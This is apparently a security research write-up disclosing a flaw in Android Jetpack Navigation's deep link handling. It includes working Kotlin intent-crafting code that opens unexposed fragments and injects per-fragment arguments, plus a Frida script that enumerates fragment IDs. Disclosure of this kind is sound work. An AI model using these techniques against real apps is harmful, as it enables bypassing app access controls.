Android Jetpack Navigation: Deep Links Handling Exploitation

Author

Application Security Expert

The androidx.fragment.app.Fragment class available in Android allows creating parts of application UI (so-called fragments). Each fragment has its own layout, lifecycle, and event handlers. Fragments can be built into activities or displayed within other fragments, which lends flexibility and modularity to app design.

Android IPC (inter-process communication) allows a third-party app to open activities exported from another app, but it does not allow it to open a fragment. To be able to open a fragment, the app under attack needs to process an incoming intent, and only then will the relevant fragment open, depending on the incoming data. In other words, it is the developer that defines which fragments to make available to a third-party app and implements the relevant handling.

The Navigation library from the Android Jetpack suite facilitates work with fragments. The library contains a flaw that allows a malicious actor to launch any fragments in a navigation graph associated with an exported activity.

Android Jetpack Navigation

Navigation component refers to the interactions that allow users to navigate across, into, and back out from the different pieces of content within an application. The Navigation component handles diverse navigation use cases, from straightforward button clicks to more complex patterns, such as app bars and the navigation drawer.

Let’s describe some basic definitions:

Navigation graph – an XML resource that contains all navigation-related information in one centralized location. This includes all of the individual content areas within your app, called destinations, as well as the possible paths that a user can take through your app.

app:startDestination – is an attribute that specifies the destination that is launched by default when the user first opens the app.

The navigation host is an empty container where destinations are swapped in and out as a user navigates through your app. A navigation host must derive from NavHost. The Navigation component’s default NavHost implementation, NavHostFragment, handles swapping fragment destinations.

Issue with the library

Let’s review the explicit intent handling mechanism.

val pendingIntent = NavDeepLinkBuilder(context)
    .setGraph(R.navigation.nav_graph)
    .setDestination(R.id.android)
    .setArguments(args)
    .createPendingIntent()

As we review the createPendingIntent method, we eventually find that it calls the fillInIntent method listed below:

for (destination in destinations) {
	val destId = destination.destinationId
	val arguments = destination.arguments
	val node = findDestination(destId)
	if (node == null) {
		val dest = NavDestination.getDisplayName(context, destId)
		throw IllegalArgumentException(
                    "Navigation destination $dest cannot be found in the navigation graph $graph"
                )
	}
	for (id in node.buildDeepLinkIds(previousDestination)) {
		deepLinkIds.add(id)
		deepLinkArgs.add(arguments)
	}
	previousDestination = node
}
val idArray = deepLinkIds.toIntArray()
intent.putExtra(NavController.KEY_DEEP_LINK_IDS, idArray)
intent.putParcelableArrayListExtra(NavController.KEY_DEEP_LINK_ARGS, deepLinkArgs)

The buildDeepLinkIds method builds an array that contains the hierarchy from the root (or the destination specified as a parameter) down to the destination that calls this method. This code shows a fragment ID array and an argument array for each fragment being added to the intent’s extra data.

Now, let’s consider the mechanism of handling an incoming deep link: the NavController.handleDeeplink method. The text below is taken from the method description:

Checks the given Intent for a Navigation deep link and navigates to the deep link if present. This is called automatically for you the first time you set the graph if you’ve passed in an Activity as the context when constructing this NavController, but should be manually called if your Activity receives new Intents in Activity.onNewIntent.

The handleDeeplink method is called every time a NavHostFragment is created.

The method itself is fairly bulky, so we will only focus on a few details.

public open fun handleDeepLink(intent: Intent?): Boolean {
        ...
        var deepLink = try {
            extras?.getIntArray(KEY_DEEP_LINK_IDS)
        }
        ...
        if (deepLink == null || deepLink.isEmpty()) {
            val matchingDeepLink = _graph!!.matchDeepLink(NavDeepLinkRequest(intent))
            if (matchingDeepLink != null) {
                val destination = matchingDeepLink.destination
                deepLink = destination.buildDeepLinkIds()
                deepLinkArgs = null
                val destinationArgs = destination.addInDefaultArgs(matchingDeepLink.matchingArgs)
                if (destinationArgs != null) {
                    globalArgs.putAll(destinationArgs)
                }
            }
        }
        if (deepLink == null || deepLink.isEmpty()) {
            return false
        }

The method returns false if the incoming intent does not contain a deepLink fragment ID array or does not contain a deep link that corresponds to the deep links created by the app. Otherwise, the following code is executed:

...
val args = arrayOfNulls<Bundle>(deepLink.size)
for (index in args.indices) {
	val arguments = Bundle()
	arguments.putAll(globalArgs)
	if (deepLinkArgs != null) {
		val deepLinkArguments = deepLinkArgs[index]
		if (deepLinkArguments != null) {
			arguments.putAll(deepLinkArguments)
		}
	}
	args[index] = arguments
}

...

for (i in deepLink.indices) {
    val destinationId = deepLink[i]
    val arguments = args[i]
    val node = if (i == 0) _graph else graph!!.findNode(destinationId)
    if (node == null) {
        val dest = NavDestination.getDisplayName(context, destinationId)
        throw IllegalStateException(
            "Deep Linking failed: destination $dest cannot be found in graph $graph"
        )
    }
    if (i != deepLink.size - 1) {
        // We're not at the final NavDestination yet, so keep going through the chain
        if (node is NavGraph) {
            graph = node
            // Automatically go down the navigation graph when
            // the start destination is also a NavGraph
            while (graph!!.findNode(graph.startDestinationId) is NavGraph) {
                graph = graph.findNode(graph.startDestinationId) as NavGraph?
            }
        }
    } else {
        // Navigate to the last NavDestination, clearing any existing destinations
        navigate(
            node,
            arguments,
            NavOptions.Builder()
                .setPopUpTo(_graph!!.id, true)
                .setEnterAnim(0)
                .setExitAnim(0)
                .build(),
            null
        )
    }
}

In other words, the method tries each ID received in the deepLink array, one by one. If the ID matches a navigation graph that can be reached from the current one, it replaces the current graph with the new one or else ignores it. At the end of the method, the app navigates to the last ID in the array by using the navigate method.

All of the above suggests that the handleDeeplink method processes extra data regardless of whether the specific fragment uses the deep link mechanism.

Test app

The application contains one exported activity that implements a navigation graph.

The navigation bar alllows navigating to the home, stack, and deferred fragments. The stack contains the FirstFragment and SecondFragment fragments that can be alternated by tapping a button. The deferred fragment contains a FragmentContainerView layout with a new navigation graph.

App demo

Exploitation

Opening one fragment

The app under attack contains the PrivateFragment fragment, which is added to the mobile_navigation graph. It cannot be navigated to via an action or deep link, and this fragment is not called anywhere in the application code. Nevertheless, a third-party app can open the fragment by using the code given below.

val graphs = mapOf("mobile_navigation" to 2131230995,"deferred_navigation" to 2131230865)
val fragments = mapOf("private" to 2131231042,
    "first" to 2131231039,
    "second" to 2131231043,
    "private_deferred" to 2131230921)
val fragmentIds = intArrayOf(graphs["mobile_navigation"]!!,fragments["private"]!!)
val b1 = Bundle()
Intent().apply{
	setClassName("ru.ptsecurity.navigation_example","ru.ptsecurity.navigation_example.MainActivity")
	putExtra("android-support-nav:controller:deepLinkExtras", b1)
	putExtra("android-support-nav:controller:deepLinkIds", fragmentIds)
}.let{ startActivity(it) }
Easy navigation

Fragment stack

The library enables navigation while creating a stack of several fragments. To do this, an Intent.FLAG_ACTIVITY_NEW_TASK flag needs to be added to the intent. Starting with version 2.4.0, you can pass an individual set of arguments to each fragment.

var deepLinkArgs = extras?.getParcelableArrayList<Bundle>(KEY_DEEP_LINK_ARGS)
...
val args = arrayOfNulls<Bundle>(deepLink.size)
        for (index in args.indices) {
            val arguments = Bundle()
            arguments.putAll(globalArgs)
            if (deepLinkArgs != null) {
                val deepLinkArguments = deepLinkArgs[index]
                if (deepLinkArguments != null) {
                    arguments.putAll(deepLinkArguments)
                }
            }
            args[index] = arguments
        }
...

        if (flags and Intent.FLAG_ACTIVITY_NEW_TASK != 0) {
            // Start with a cleared task starting at our root when we're on our own task
            if (!backQueue.isEmpty()) {
                popBackStackInternal(_graph!!.id, true)
            }
            var index = 0
            while (index < deepLink.size) {
                val destinationId = deepLink[index]
                val arguments = args[index++]
                val node = findDestination(destinationId)
                if (node == null) {
                    val dest = NavDestination.getDisplayName(
                        context, destinationId
                    )
                    throw IllegalStateException(
                        "Deep Linking failed: destination $dest cannot be found from the current " +
                            "destination $currentDestination"
                    )
                }
                navigate(
                    node, arguments,
                    navOptions {
                        anim {
                            enter = 0
                            exit = 0
                        }
                        val changingGraphs = node is NavGraph &&
                            node.hierarchy.none { it == currentDestination?.parent }
                        if (changingGraphs && deepLinkSaveState) {
                            // If we are navigating to a 'sibling' graph (one that isn't part
                            // of the current destination's hierarchy), then we need to saveState
                            // to ensure that each graph has its own saved state that users can
                            // return to
                            popUpTo(graph.findStartDestination().id) {
                                saveState = true
                            }
                            // Note we specifically don't call restoreState = true
                            // as our deep link should support multiple instances of the
                            // same graph in a row
                        }
                    }, null
                )
            }
            return true
        }

Below is the application code that creates a stack of four fragments from the bottom up: first, second, second, second.

val fragmentIds = intArrayOf(graphs["mobile_navigation"]!!,fragments["first"]!!,fragments["second"]!!,fragments["second"]!!,fragments["second"]!!)
val b1 = Bundle().apply{putString("textFirst","application")}
val b2 = Bundle().apply{putString("textSecond","exploit")}
val b3 = Bundle().apply{putString("textSecond","from")}
val b4 = Bundle().apply{putString("textSecond","Hello")}
val bundles = arrayListOf<Bundle>(Bundle(),b1,b2,b3,b4)
Intent().apply{
	setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
	setClassName("ru.ptsecurity.navigation_example","ru.ptsecurity.navigation_example.MainActivity")
	putExtra("android-support-nav:controller:deepLinkArgs", bundles)
	putExtra("android-support-nav:controller:deepLinkIds", fragmentIds)
}.let{ startActivity(it)}
Fragment stack navigation

Deferred navigation

Normally, a malicious actor can only navigate to the graphs that were nested into the original navigation graph with the help of an <include> tag. Still, we discovered a way to make further graphs accessible.

As mentioned above, the handleDeeplink method is called every time an instance of NavHostFragment is created.

So if, while using the application within one activity, we navigate to a fragment that contains a new FragmentContainerView with a navigation graph of its own, the application calls the handleDeeplink method again. We can define an ID array that is invalid for the first time the method is called when opening the application, but when we navigate to the sought-for FragmentContainerView, the array becomes valid, and the application navigates to the required fragment. The code below implements deferred navigation to the private fragment that only opens when navigating to the deferred fragment from the navigation bar:

val fragmentIds = intArrayOf(graphs["deferred_navigation"]!!,fragments["private_deferred"]!!)
val b1 = Bundle()
Intent().apply{
	setClassName("ru.ptsecurity.navigation_example","ru.ptsecurity.navigation_example.MainActivity")
	putExtra("android-support-nav:controller:deepLinkExtras", b1)
	putExtra("android-support-nav:controller:deepLinkIds", fragmentIds)
}.let{ startActivity(it)}

Fragment identifiers

If the androidx.navigation library is not obfuscated, the following Frida script can fetch all graph and fragment IDs in runtime:

function getFragments() 
{
    Java.choose("androidx.navigation.NavGraph",
    {
        onMatch: function(instance)
        {
            console.log("Graph with id="+instance.id.value, instance);
            console.log("Fragments:\n"+instance.nodes.value+"\n");
        },
        onComplete: function() {}
    });
}

Statically, IDs can be obtained from the R.id class.

Conclusion

A malicious actor can use a specially crafted intent to navigate to any fragment in the navigation graph in any given order, even if not intended by the application. This disrupts application logic and opens new entry points due to the possibility of defining arguments for each fragment.

Google considers this not a vulnerability but an error in the documentation. Therefore, all the company did to address this was add the following text:

Caution: This APIs allows deep linking to any screen in your app, even if that screen does not support any implicit deep links. You should follow the Conditional Navigation page to ensure that screens that require login conditionally redirect users to those screens when you reach that screen via a deep link.